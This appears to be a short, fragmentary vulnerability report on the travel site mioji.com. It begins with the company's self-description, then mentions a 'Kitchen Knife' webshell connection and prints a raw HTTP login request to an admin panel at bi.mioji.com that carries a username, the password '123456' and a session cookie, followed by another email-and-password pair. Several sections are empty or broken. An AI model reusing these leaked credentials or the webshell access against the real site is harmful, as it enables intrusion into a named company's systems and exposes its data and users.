Miaoji travel multiple vulnerabilities sensitive information leakage/GetShell
Mio travel (www.mioji.com) is China's first travel route customization Engine Based on AI technology. Use big data and intelligent technology to provide users with a one-click Outbound Travel route plan. Miaoji collects hundreds of millions of travel industry webpages in dozens of languages around the world, and uses semantic understanding technology to mine a travel structured knowledge base with hundreds of millions of information nodes, such as airplanes, trains, and self-driving vehicles, or hotels, scenic spots, and restaurants will be perfectly covered. Based on your needs, you can customize the most reasonable route arrangement and complete personalized travel routes instantly. The solution is a completely objective and neutral third party. It only provides free travel solution design services and does not sell any travel products or charge any intermediate fees, the final product purchase is done through third-party websites (such as Ctrip, Yilong, priceline, and other well-known OTA, airline official website, and hotel official website.
0x01
0x02
Kitchen Knife connection
0x03
POST /admin/login/ HTTP/1.1Host: bi.mioji.comProxy-Connection: keep-aliveContent-Length: 62Accept: application/json, text/javascript, */*; q=0.01Origin: http://bi.mioji.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.154 Safari/537.36 LBBROWSERContent-Type: application/x-www-form-urlencoded; charset=UTF-8Referer: http://bi.mioji.com/admin/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: PHPSESSID=3smm9rcoeh1itukck2u0llb9j5Connection: closeLoginForm%5Busername%5D=wangxin&LoginForm%5Bpassword%5D=123456
0x04
[email protected] paladin1221